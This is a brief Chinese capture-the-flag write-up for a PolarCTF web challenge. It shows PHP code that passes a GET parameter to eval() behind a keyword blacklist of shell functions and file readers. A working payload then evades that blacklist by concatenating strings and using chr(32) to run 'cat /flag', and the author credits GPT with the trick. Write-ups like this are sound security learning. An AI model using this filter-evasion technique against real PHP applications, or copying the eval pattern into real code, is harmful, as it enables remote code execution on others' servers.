0%

polarctf总结

web部分

swp

简单RCE

从GPT身上学到一种php中命令执行绕过思路,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?>

可以看到是黑名单过滤,通过;可以执行多语句命令,通过变量赋值以及调用即可完成绕过,空格可以用chr(32)代替,所有字符可以利用.来进行来来连接。

1
2
3
http://032c9277-dd21-4a2e-9cc6-c3e6158ba6c8.www.polarctf.com:8090/?sys=$a="s"."ystem";$b="ca"."t".chr(32)."/flag";$a($b);

POST参数:yyds=666

1742639840152